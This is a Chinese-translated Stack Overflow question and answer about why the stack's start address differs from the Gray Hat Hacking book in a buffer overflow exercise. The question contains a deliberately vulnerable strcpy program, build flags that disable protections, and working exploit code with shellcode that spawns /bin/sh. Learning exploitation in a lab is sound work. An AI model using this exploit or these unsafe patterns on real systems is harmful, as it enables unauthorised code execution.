【问题标题】:Finding the start of the stack for a buffer overflow查找缓冲区溢出的堆栈开始
【发布时间】:2015-08-17 19:15:21
【问题描述】:

根据 Gray Hat Hacking 一书,“所有 Linux ELF 文件都映射到内存中,最后一个相对地址为 0xbfffffff”。通过从这个地址中减去 4 个 NULL 字节、文件名的长度和 shellcode 的长度,显然应该可以将被利用缓冲区中的返回地址设置为环境变量的返回地址。

但是,在尝试此操作时,在我看来,在我的 64 位 Linux 测试环境(ASLR 禁用)中,堆栈不是从 0xbffffff 开始,而是从 0xffffdfff 开始。

为什么我的堆栈开始的地址与书中的地址不同?这与 ALSR 无关,因为地址不会每次都改变,但我想知道为什么我的地址从 0xffffdfff 开始,而不是书中的地址。想法?

这是易受攻击的缓冲区:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void main(int argc, char *argv[]) {
    char buffer[10];
    printf("Vulnerable program has loaded...");
    fflush(stdout);
    strcpy(buffer, argv[1]);
}

编译器选项:

gcc -m32 -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -ggdb -o shellcode_env shellcode_env.c

这是利用代码:

#include <unistd.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#define FILENAME "./vulnerable_buffer_small" 
#define SIZE 80  
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
void main(int argc, char *argv[]) { 
    char *environment[] = {shellcode, NULL}; 
    char buffer[SIZE]; 
    char *parameters[] = {FILENAME, buffer, NULL}; 
    int *pointer, i, address; 
    address = 0xbffffffa - strlen(shellcode) - strlen(FILENAME); 
    pointer = (int *) (buffer + 2);; 
    for (i = 0; i < SIZE; i += 4) { 
        *pointer++ = address; 
    }   
    printf("Using address: 0x%X\n", address); 
    execle(parameters[0], (char*) parameters, environment); 
    exit(1); 
}

我尝试用GDB查找易受攻击程序中第一个环境变量的地址,但没有成功:

(gdb) x/s *environ
*lines removed for clarity*
0xffffdfb5: "DISPLAY=:1"
(gdb) 
0xffffdfc0: "/home/Workbench/vulnerable_buffer_small"
(gdb) 
0xffffdff8: ""
(gdb) 
0xffffdff9: ""
(gdb) 
0xffffdffa: ""
(gdb) 
0xffffdffb: ""
(gdb) 
0xffffdffc: ""
(gdb) 
0xffffdffd: ""
(gdb) 
0xffffdffe: ""
(gdb) 
0xffffdfff: ""
(gdb) 
0xffffe000: <error: Cannot access memory at address 0xffffe000>

谁能解释我在这里错过了什么?

【问题讨论】:

  • 难以置信。检测某人何时试图运行漏洞利用会比让它为自己工作更合适。
  • 你是认真的吗?您打算如何在不探测潜在缓冲区溢出的情况下完成软件漏洞评估?
  • 通过限制和检查提供的字符串。
  • 您是否验证过 shell 代码正在运行?还是您只是对堆栈地址感到困惑?
  • 如果编译器开启了aslr,栈起始地址会不同

标签: c linux environment-variables buffer-overflow exploit


【解决方案1】:

解释很简单——如果你比较 32 位内核和 64 位内核,段顺序和地址布局肯定会有所不同。这本书的版本可能针对 32 位内核上的 32 位 ELF 二进制文件,或者可能是完全旧版本的内核。即使您运行 32 位二进制文​​件,您仍然应该期待不同的结果。您不应该假设不同内核版本之间的地址空间布局甚至相同。

网上有相当多的资源可以发现有关此事的更多细节,例如一篇关于 Kernel 2.0 的非常过时的文章:http://asm.sourceforge.net/articles/startup.html

您还应该进一步了解 linux 上 32 位和 64 位二进制文​​件之间的程序地址空间布局差异。

【讨论】:

    猜你喜欢
    • 2015-07-03
    • 1970-01-01
    • 2017-02-23
    • 1970-01-01
    • 1970-01-01
    • 2010-11-11
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多